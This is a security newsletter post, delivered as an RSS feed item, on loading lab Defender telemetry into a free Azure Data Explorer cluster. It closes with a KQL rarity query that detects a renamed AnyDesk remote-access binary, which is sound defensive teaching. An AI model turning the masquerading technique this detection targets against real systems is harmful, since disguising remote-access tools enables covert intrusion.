<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Securityinbits]]></title><description><![CDATA[Detection engineering, threat hunting, and malware analysis for defenders who want to understand how things work, not just which button to click. One bit at a time.]]></description><link>https://newsletter.securityinbits.com</link><image><url>https://substackcdn.com/image/fetch/$s_!OffF!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F83e98171-ed60-4bc6-aea5-1ae7e6519358_1280x1280.png</url><title>Securityinbits</title><link>https://newsletter.securityinbits.com</link></image><generator>Substack</generator><lastBuildDate>Sun, 01 Nov 2026 09:21:08 GMT</lastBuildDate><atom:link href="https://newsletter.securityinbits.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Securityinbits]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[securityinbits@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[securityinbits@substack.com]]></itunes:email><itunes:name><![CDATA[Ayush Anand]]></itunes:name></itunes:owner><itunes:author><![CDATA[Ayush Anand]]></itunes:author><googleplay:owner><![CDATA[securityinbits@substack.com]]></googleplay:owner><googleplay:email><![CDATA[securityinbits@substack.com]]></googleplay:email><googleplay:author><![CDATA[Ayush Anand]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Load Real Defender Telemetry into a Free ADX Cluster in One Paste]]></title><description><![CDATA[No tenant, no Azure subscription, no credit card. Eight MDE tables from a real lab intrusion, loaded with one script, checked against known row counts.]]></description><link>https://newsletter.securityinbits.com/p/load-real-defender-telemetry-into</link><guid isPermaLink="false">https://newsletter.securityinbits.com/p/load-real-defender-telemetry-into</guid><dc:creator><![CDATA[Ayush Anand]]></dc:creator><pubDate>Wed, 28 Oct 2026 12:00:50 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/6496b903-464b-445a-9d95-f5809f3baf2c_1200x630.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Your best KQL practice data disappears after 30 days.</p><p>Advanced Hunting keeps a month. The slow intrusion you wanted to study ages out with it, and production was never a safe place to practise anyway: a query that returns nothing does not tell you whether it is wrong or the tenant is clean.</p><p>Microsoft gives anyone with a Microsoft account one free Azure Data Explorer (ADX) cluster. No Azure subscription, no credit card, full KQL, about 100 GB of storage. I keep my lab&#8217;s Defender data in one.</p><p>By the end of this issue you will have your own: eight Defender tables from a real lab intrusion, in a cluster that took me under two minutes to create and under one minute to load. Four steps, and each one ends with something you can check.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!uYNI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc06ad006-80be-449b-9c28-2dfb3ccf189f_1708x928.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!uYNI!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc06ad006-80be-449b-9c28-2dfb3ccf189f_1708x928.png 424w, https://substackcdn.com/image/fetch/$s_!uYNI!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc06ad006-80be-449b-9c28-2dfb3ccf189f_1708x928.png 848w, https://substackcdn.com/image/fetch/$s_!uYNI!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc06ad006-80be-449b-9c28-2dfb3ccf189f_1708x928.png 1272w, https://substackcdn.com/image/fetch/$s_!uYNI!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc06ad006-80be-449b-9c28-2dfb3ccf189f_1708x928.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!uYNI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc06ad006-80be-449b-9c28-2dfb3ccf189f_1708x928.png" width="1456" height="791" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c06ad006-80be-449b-9c28-2dfb3ccf189f_1708x928.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:791,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:153663,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/221920961?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc06ad006-80be-449b-9c28-2dfb3ccf189f_1708x928.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!uYNI!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc06ad006-80be-449b-9c28-2dfb3ccf189f_1708x928.png 424w, https://substackcdn.com/image/fetch/$s_!uYNI!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc06ad006-80be-449b-9c28-2dfb3ccf189f_1708x928.png 848w, https://substackcdn.com/image/fetch/$s_!uYNI!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc06ad006-80be-449b-9c28-2dfb3ccf189f_1708x928.png 1272w, https://substackcdn.com/image/fetch/$s_!uYNI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc06ad006-80be-449b-9c28-2dfb3ccf189f_1708x928.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Why a free cluster beats the 30-day window</h2><ul><li><p><strong>A real intrusion, not a toy dataset.</strong> Keeping your own tenant&#8217;s data past 30 days is a different pipeline (export &#8594; storage &#8594; LightIngest); that one gets its own issue.</p></li><li><p><strong>Known answers.</strong> I already know what happened in this data, so you can check your query against the answer instead of hoping it is right.</p></li><li><p><strong>Defender&#8217;s own column names.</strong> A query you write here runs on your live tenant unchanged, apart from the two <code>let</code> lines that hold the time window.</p></li></ul><h2>Step 1: a free cluster in under two minutes</h2><ol><li><p>Go to <a href="https://aka.ms/kustofree">My Cluster</a> and select <strong>Create cluster</strong>.</p></li><li><p>Give it a display name, set <strong>Database name</strong> to <code>case05</code>, pick a location near you.</p></li><li><p>Accept the terms and select <strong>Create</strong>. Provisioning took under two minutes in my run.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!pMtl!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29c84e4e-b9d3-4a52-ba10-80e05a4c98e1_1648x1058.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pMtl!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29c84e4e-b9d3-4a52-ba10-80e05a4c98e1_1648x1058.png 424w, https://substackcdn.com/image/fetch/$s_!pMtl!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29c84e4e-b9d3-4a52-ba10-80e05a4c98e1_1648x1058.png 848w, https://substackcdn.com/image/fetch/$s_!pMtl!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29c84e4e-b9d3-4a52-ba10-80e05a4c98e1_1648x1058.png 1272w, https://substackcdn.com/image/fetch/$s_!pMtl!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29c84e4e-b9d3-4a52-ba10-80e05a4c98e1_1648x1058.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!pMtl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29c84e4e-b9d3-4a52-ba10-80e05a4c98e1_1648x1058.png" width="1456" height="935" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/29c84e4e-b9d3-4a52-ba10-80e05a4c98e1_1648x1058.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:935,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:148897,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/221920961?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29c84e4e-b9d3-4a52-ba10-80e05a4c98e1_1648x1058.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!pMtl!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29c84e4e-b9d3-4a52-ba10-80e05a4c98e1_1648x1058.png 424w, https://substackcdn.com/image/fetch/$s_!pMtl!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29c84e4e-b9d3-4a52-ba10-80e05a4c98e1_1648x1058.png 848w, https://substackcdn.com/image/fetch/$s_!pMtl!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29c84e4e-b9d3-4a52-ba10-80e05a4c98e1_1648x1058.png 1272w, https://substackcdn.com/image/fetch/$s_!pMtl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29c84e4e-b9d3-4a52-ba10-80e05a4c98e1_1648x1058.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Already have a free cluster? Add a database instead: on the cluster&#8217;s overview page, under <strong>Actions</strong>, pick <strong>Create database</strong>, select <strong>Create</strong> on the <strong>Create new database</strong> card, name it <code>case05</code>, then <strong>Create Database</strong>. Use a new, empty database: if a database already has Defender tables with these names, the script replaces them.</p><h2>Step 2: eight tables, one paste, under a minute</h2><p>The data and the script live in a public repo: <a href="https://github.com/Securityinbits/case-bundles">github.com/Securityinbits/case-bundles</a>.</p><ol><li><p>Open <a href="https://github.com/Securityinbits/case-bundles/blob/main/case-05-anydesk/load.kql">case-05-anydesk/load.kql</a>, select <strong>Raw</strong>, and copy all of it.</p></li><li><p>Open the cluster, select <strong>Query</strong>, and select the <code>case05</code> database in the left pane.</p></li><li><p>Paste the whole script, select all of it, and <strong>Run</strong>. It finished in under a minute in my run.</p></li></ol><p>What it does, in plain terms:</p><ul><li><p><code>externaldata(...)</code> reads a CSV straight from a public URL, with Defender&#8217;s column names and types written out.</p></li><li><p><code>.set-or-replace</code> creates the table and fills it. Run it twice and you still get one copy, not two.</p></li><li><p><code>.execute database script</code> runs all eight in order and stops on the first error.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!iJcn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b0bb8c2-4ad2-46dc-8390-8ca9d519ea61_1549x851.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!iJcn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b0bb8c2-4ad2-46dc-8390-8ca9d519ea61_1549x851.png 424w, https://substackcdn.com/image/fetch/$s_!iJcn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b0bb8c2-4ad2-46dc-8390-8ca9d519ea61_1549x851.png 848w, https://substackcdn.com/image/fetch/$s_!iJcn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b0bb8c2-4ad2-46dc-8390-8ca9d519ea61_1549x851.png 1272w, https://substackcdn.com/image/fetch/$s_!iJcn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b0bb8c2-4ad2-46dc-8390-8ca9d519ea61_1549x851.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!iJcn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b0bb8c2-4ad2-46dc-8390-8ca9d519ea61_1549x851.png" width="1456" height="800" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2b0bb8c2-4ad2-46dc-8390-8ca9d519ea61_1549x851.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:800,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:183466,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/221920961?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b0bb8c2-4ad2-46dc-8390-8ca9d519ea61_1549x851.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!iJcn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b0bb8c2-4ad2-46dc-8390-8ca9d519ea61_1549x851.png 424w, https://substackcdn.com/image/fetch/$s_!iJcn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b0bb8c2-4ad2-46dc-8390-8ca9d519ea61_1549x851.png 848w, https://substackcdn.com/image/fetch/$s_!iJcn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b0bb8c2-4ad2-46dc-8390-8ca9d519ea61_1549x851.png 1272w, https://substackcdn.com/image/fetch/$s_!iJcn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b0bb8c2-4ad2-46dc-8390-8ca9d519ea61_1549x851.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://newsletter.securityinbits.com/subscribe?"><span>Subscribe now</span></a></p><h2>Step 3: the row counts prove it loaded</h2><pre><code><code>union withsource=T DeviceProcessEvents, DeviceNetworkEvents, DeviceFileEvents, DeviceRegistryEvents,
      DeviceLogonEvents, DeviceEvents, DeviceImageLoadEvents, AlertEvidence
| summarize Rows=count(), First=min(Timestamp), Last=max(Timestamp) by T
| order by T asc</code></code></pre><p>Your counts should match these exactly:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eFNG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6ae8f8b-9257-4f11-8d8e-ddaa18a9934f_415x438.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eFNG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6ae8f8b-9257-4f11-8d8e-ddaa18a9934f_415x438.png 424w, https://substackcdn.com/image/fetch/$s_!eFNG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6ae8f8b-9257-4f11-8d8e-ddaa18a9934f_415x438.png 848w, https://substackcdn.com/image/fetch/$s_!eFNG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6ae8f8b-9257-4f11-8d8e-ddaa18a9934f_415x438.png 1272w, https://substackcdn.com/image/fetch/$s_!eFNG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6ae8f8b-9257-4f11-8d8e-ddaa18a9934f_415x438.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!eFNG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6ae8f8b-9257-4f11-8d8e-ddaa18a9934f_415x438.png" width="415" height="438" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c6ae8f8b-9257-4f11-8d8e-ddaa18a9934f_415x438.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:438,&quot;width&quot;:415,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:48918,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/221920961?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6ae8f8b-9257-4f11-8d8e-ddaa18a9934f_415x438.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eFNG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6ae8f8b-9257-4f11-8d8e-ddaa18a9934f_415x438.png 424w, https://substackcdn.com/image/fetch/$s_!eFNG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6ae8f8b-9257-4f11-8d8e-ddaa18a9934f_415x438.png 848w, https://substackcdn.com/image/fetch/$s_!eFNG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6ae8f8b-9257-4f11-8d8e-ddaa18a9934f_415x438.png 1272w, https://substackcdn.com/image/fetch/$s_!eFNG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6ae8f8b-9257-4f11-8d8e-ddaa18a9934f_415x438.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Every date falls on 26 June 2026. A different count means a table did not load fully: run the script again.</p><h2>Step 4: your first hunt finds a renamed AnyDesk</h2><p>This is the rarity query from my <a href="https://github.com/Securityinbits/defender-hunt-queries/blob/main/anydesk.md">hunt pack</a>. The data is a fixed day in June, so the time window sits in the two <code>let</code> lines at the top.</p><pre><code><code>let StartTime = datetime(2026-06-26);
let EndTime = datetime(2026-06-27);
DeviceProcessEvents
| where Timestamp between (StartTime .. EndTime)
| where ProcessVersionInfoCompanyName == "AnyDesk Software GmbH" or ProcessVersionInfoProductName == "AnyDesk"
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Hosts=dcount(DeviceId),
            HostList=make_set(DeviceName,10), Users=make_set(AccountName,10)
    by FileName
| where Hosts &lt;= 3
| order by Hosts asc, LastSeen desc</code></code></pre><p>Expected: two rows. <code>Invoice_Viewer.exe</code> on one host, <code>AnyDesk.exe</code> on the other. The same AnyDesk binary under a name that is not its own, on one box. That is what rarity catches.</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!JsnC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47278eb7-ae74-40da-9faf-5591d732a87d_1798x237.png 424w, https://substackcdn.com/image/fetch/$s_!JsnC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47278eb7-ae74-40da-9faf-5591d732a87d_1798x237.png 848w, https://substackcdn.com/image/fetch/$s_!JsnC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47278eb7-ae74-40da-9faf-5591d732a87d_1798x237.png 1272w, https://substackcdn.com/image/fetch/$s_!JsnC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47278eb7-ae74-40da-9faf-5591d732a87d_1798x237.png 1456w" sizes="auto, 100vw"><img 